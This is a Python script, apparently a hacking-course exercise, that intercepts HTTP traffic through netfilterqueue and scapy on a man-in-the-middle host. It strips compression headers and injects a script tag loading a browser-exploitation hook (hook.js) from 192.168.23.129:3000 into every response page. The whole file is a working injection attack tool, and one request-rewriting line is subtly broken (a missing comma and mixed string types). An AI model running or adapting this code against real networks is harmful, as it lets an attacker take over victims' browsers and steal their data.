code_injector.py

#!/usr/bin/env python
import netfilterqueue
import scapy.all as scapy
import re
# THIS CODE INJECTOR ONLY WORKS ON HTTP SITES

def set_load(packet, load):
    packet[scapy.Raw].load = load
    del packet[scapy.IP].len
    del packet[scapy.IP].chksum
    del packet[scapy.TCP].chksum
    return packet

def process_packet(packet):

    scapy_packet = scapy.IP(packet.get_payload()) # WHY CONVERT INTO SCAPY_PACKET?
    if scapy_packet.haslayer(scapy.TCP):
        if scapy_packet.haslayer(scapy.Raw):
            load = scapy_packet[scapy.Raw].load
            if scapy_packet[scapy.TCP].dport == 8080: # CHANGED TO *)*) FOR TEST USE IN BETTERCAP
                print("[+] Request")
                load = re.sub(b"Accept-Encoding:.*?\\r\\n", b"", load)
                load = load.replace("HTTP/1.1" "HTTP/1.0")
                # print(scapy_packet.show())

            elif scapy_packet[scapy.TCP].sport == 8080:
                print("[+] Response")
                scapy_packet.show()
                injection_code = b'<script src="http://192.168.23.129:3000/hook.js"></script>' #"<script>alert('test');</script>"
                load = load.replace(b"</body>", injection_code + b"</body>")
                content_length_search = re.search(b"(?:Content-Length:\s)(\d*)", load)
                if content_length_search:
                    content_length = content_length_search.group(1)
                    new_content_length = int(content_length) + len(injection_code)
                    load = load.replace(content_length, str(new_content_length).encode())

            if load != scapy_packet[scapy.Raw].load:
                new_packet = set_load(scapy_packet, load)
                packet.set_payload(bytes(new_packet)) # WHY str NOT WORK INSTEAD OF bytes



    packet.accept()


queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()